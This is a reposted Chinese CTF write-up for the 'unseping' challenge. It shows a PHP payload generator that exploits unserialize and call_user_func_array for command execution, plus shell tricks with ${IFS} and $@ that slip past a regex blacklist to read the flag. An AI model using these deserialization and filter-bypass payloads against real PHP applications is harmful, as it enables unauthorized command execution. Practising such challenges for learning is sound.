江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

这篇具有很好参考价值的文章主要介绍了江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

开始

进入题目链接后看见如图代码,我们直接抓住关键点,不要浪费精力。大概看一下具体关键内容,第一个大框框属于命令执行,第二个大框框属于正则过滤危险字符,第三个大框框属于反序列化提交的内容,并且进行base64的解码
江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

解题

那么目标也很清楚了,我们可以通过命令执行获取flag且绕过PHP正则匹配,最后将序列化的payload并进行base64编码,最后利用post请求进行发送即可

序列化

in_array, 检查数组中是否存在某个值,如果method的变量为"ping",那么将执行下一行call_user_func_array()—调用回调函数(把一个数组参数作为回调函数的参数,第二个数组为被传入的索引数组),也就是说method为ping时,那么它的索引数组就是args变量,同时传入args变量也必须是数组才能执行语句

  function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

payload生成代码如下

<?php
class ease{
    private $method;
    private $args;
	
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array('id'));//序列化的具体成员变量
echo serialize($a)."<br>";
echo base64_encode(serialize($a));
?>

提交payload进行验证,发现能执行当前命令
江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

正则绕过

因为源代码绕过了斜杠和空格等关键字导致了不能直接获取flag信息,为了方便执行后续命令执行获得flag,我考虑的方案是空格绕过法,空变量绕过来绕过PHP正则的匹配

${IFS} 空格绕过
$@ 空变量

function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }

接下来请按我说的做
将payload生成代码的id替换为要执行的命令,例如查看一下当前目录的详细信息

$a = new ease("ping",array('l$@s'));//修改payload生成代码的这一行即可

发现flag_1s_here目录下有flag
江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

做到这里通常会卡住,获取flag必须要用斜杠"/"查看目录下的文件,思考一下有什么可以代替斜杆,然后获取flag。搜索了资料发现有些命令是可以查看目录下的文件,我们可以利用这个特性然后配合cat命令进行查看

find 查看当前及子目录下的所有文件

直接配合内联执行引用find命令特性,然后使用cat查看find列出的文件即可,因为flag就在当前目录

$a = new ease("ping",array('ca$@t${IFS}`find`'));//修改payload生成代码的这一行即可

再次提交payload,查看源代码可以看见flag
江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)

结尾

看到网上和官方的wp解法都有点麻烦,要八进制编码等等,仔细思考方法其实不止一种,多动脑多查资料才有自己的解题思路文章来源地址https://www.toymoban.com/news/detail-419101.html

到了这里,关于江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

    Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击

    2024年02月08日
    浏览(43)
  • 【序列化与反序列化】关于序列化与反序列化MessagePack的实践

    在进行序列化操作之前,我们还对系统进行压测,通过 jvisualvm 分析cpu,线程,垃圾回收情况等;运用火焰图 async-profiler 分析系统性能,找出程序中占用CPU资源时间最长的代码块。 代码放置GitHub:https://github.com/nateshao/leetcode/tree/main/source-code/src/main/java/com/nateshao/source/code/ser

    2024年02月11日
    浏览(55)
  • 【网络】序列化反序列化

    在前文《网络编程套接字》中,我们实现了服务器与客户端之间的字符串通信,这是非常简单的通信,在实际使用的过程中,网络需要传输的不仅仅是字符串,更多的是结构化的数据(类似于 class , struct 类似的数据)。 那么我们应该怎么发送这些结构化的数据呢? 如果我们

    2024年02月05日
    浏览(42)
  • 序列化,反序列化之实例

    介绍文章 __construct() 当一个对象创建时自动调用 __destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象) __sleep() 使**用serialize()函数时触发 __wakeup 使用unserialse()**函数时会自动调用 __toString 当一个对象被当作一个字符串被调用 __call() 在对象上下文中调用不

    2024年02月14日
    浏览(44)
  • 协议,序列化,反序列化,Json

    协议究竟是什么呢?首先得知道主机之间的网络通信交互的是什么数据,像平时使用聊天APP聊天可以清楚,用户看到的不仅仅是聊天的文字,还能够看到用户的头像昵称等其他属性。也就可以证明网络通信不仅仅是交互字符串那么简单。事实上网络通信还可能会通过一个结构

    2024年02月13日
    浏览(39)
  • 【网络】协议定制+序列化/反序列化

    如果光看定义很难理解序列化的意义,那么我们可以从另一个角度来推导出什么是序列化, 那么究竟序列化的目的是什么? 其实序列化最终的目的是为了对象可以 跨平台存储,和进行网络传输 。而我们进行跨平台存储和网络传输的方式就是IO,而我们的IO支持的数据格式就是

    2024年02月08日
    浏览(41)
  • Qt 对象序列化/反序列化

    阅读本文大概需要 3 分钟 日常开发过程中,避免不了对象序列化和反序列化,如果你使用 Qt 进行开发,那么有一种方法实现起来非常简单和容易。 我们知道 Qt 的元对象系统非常强大,基于此属性我们可以实现对象的序列化和反序列化操作。 比如有一个学生类,包含以下几

    2024年02月13日
    浏览(41)
  • 协议定制 + Json序列化反序列化

    1.1 结构化数据 协议是一种 “约定”,socket api的接口, 在读写数据时,都是按 “字符串” 的方式来发送接收的。如果我们要传输一些\\\"结构化的数据\\\" 怎么办呢? 结构化数据: 比如我们在QQ聊天时,并不是单纯地只发送了消息本身,是把自己的头像、昵称、发送时间、消息本身

    2024年02月09日
    浏览(43)
  • Java序列化和反序列化

    目录 一、序列化和反序列化 二、Java序列化演示 三、反序列化漏洞 1、含义 ​序列化就是内存中的对象写入到IO流中,保存的格式可以是二进制或者文本内容。反序列化就是IO流还原成对象。 2、用途 (1)传输网络对象 (2)保存Session 1、序列化 java.io.ObjectOutputStream代表对象

    2023年04月25日
    浏览(37)
  • 【Linux】序列化与反序列化

    目录 前言 什么是应用层? 再谈\\\"协议\\\"  什么是序列化和反序列化 网络版计算器 整体流程实现 Sock.hpp的实现 TcpServer.hpp的实现 Protocol.hpp的实现 CalServer.cc的编写 CalClient.cc的编写 整体代码           本章是属于TCP/UDP四层模型中的第一层 应用层 相关的内容。主要介绍了序列

    2024年02月10日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包